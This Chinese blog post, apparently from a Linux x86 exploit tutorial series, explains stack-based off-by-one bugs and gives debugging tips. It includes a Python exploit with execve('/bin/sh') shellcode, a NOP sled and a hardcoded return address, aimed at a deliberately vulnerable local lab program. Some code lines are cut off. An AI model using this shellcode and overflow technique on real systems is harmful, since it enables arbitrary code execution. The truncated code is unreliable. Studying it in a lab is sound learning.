Linux (x86) Exploit系列之三 Off-By-One 漏洞 (基于栈)

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Linux (x86) Exploit系列之三 Off-By-One 漏洞 (基于栈)相关的知识,希望对你有一定的参考价值。

Off-By-One 漏洞 (基于栈)

原文地址:https://bbs.pediy.com/thread-216954.htm

什么是off by one?

将源字符串复制到目标缓冲区可能会导致off by one

1、源字符串长度等于目标缓冲区长度。

当源字符串长度等于目标缓冲区长度时,单个NULL字节将被复制到目标缓冲区上方。这里由于目标缓冲区位于堆栈中,所以单个NULL字节可以覆盖存储在堆栈中的调用者的EBP的最低有效位(LSB),这可能导致任意的代码执行。

一如既往的充分的定义,让我们来看看off by one的漏洞代码!

懒得粘贴了,还是看原文吧,仅对部分作出解释。

这篇全文解释的都特别清楚,我仅说下我调试过程中遇到的坑。

首先是这个使用的是core文件调试,编译选项gcc -fno-stack-protector -z execstack -mpreferred-stack-boundary=2 -o vuln vuln.c

请注意没有使用-g选项,那么就不是debug模式,没有debug模式,调试的时候就没办法在源码上下断,所以只能使用core文件进行。

使用core文件调试的办法,作者也给出来了,但是我运行Python exp.py后,却没有core文件。经过查询资料,使用ulimit -c命令查询后,发现值为0,原来是系统默认(?)不允许创建core文件,修改限制,使用ulimit -c 1000修改

修改后,正常的生成了core文件。

还有一个比较坑的点是,gdb调试出的buf地址和真正运行的release版本的buf地址并不相同,偏移也有变化,需要特别注意。

还是老规矩,分享下我调试成功的exp.py文件

 1 #exp.py
 2 #!/usr/bin/env python
 3 import struct
 4 from subprocess import call
 5 
 6 #Spawn a shell. 
 7 #execve(/bin/sh) Size- 28 bytes.
 8 scode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\$
 9 
10 ret_addr = 0xbffff426
11 
12 #endianess conversion
13 def conv(num):
14  return struct.pack("<I",num)#turn Address + NOP‘s + Shellcode + J$
15 buf = "A" * 68
16 buf += conv(ret_addr)
17 buf += "\x90" * 30
18 buf += scode
19 buf += "A" * 126
20 
21 print "Calling vulnerable program"
22 call(["./vuln", buf])

 

Off-By-One 漏洞 (基于栈)

虚拟机安装:Ubuntu 12.04(x86)

什么是off by one?

将源字符串复制到目标缓冲区可能会导致off by one

1、源字符串长度等于目标缓冲区长度。

当源字符串长度等于目标缓冲区长度时,单个NULL字节将被复制到目标缓冲区上方。这里由于目标缓冲区位于堆栈中,所以单个NULL字节可以覆盖存储在堆栈中的调用者的EBP的最低有效位(LSB),这可能导致任意的代码执行。

一如既往的充分的定义,让我们来看看off by one的漏洞代码!

漏洞代码:

以上是关于Linux (x86) Exploit系列之三 Off-By-One 漏洞 (基于栈)的主要内容,如果未能解决你的问题,请参考以下文章

linux(x86) exploit 开发系列3:off-by-one

linux(x86) exploit 开发系列4:使用return2libc绕过NX

SploitFun Linux x86 Exploit 开发系列教程

linux(x86) exploit 开发系列6:使用return-to-plt绕过ASLR

linux(x86) exploit 开发系列5:使用ret2libc链绕过NX

Linux (x86) Exploit 开发系列教程之六(绕过ASLR - 第一部分)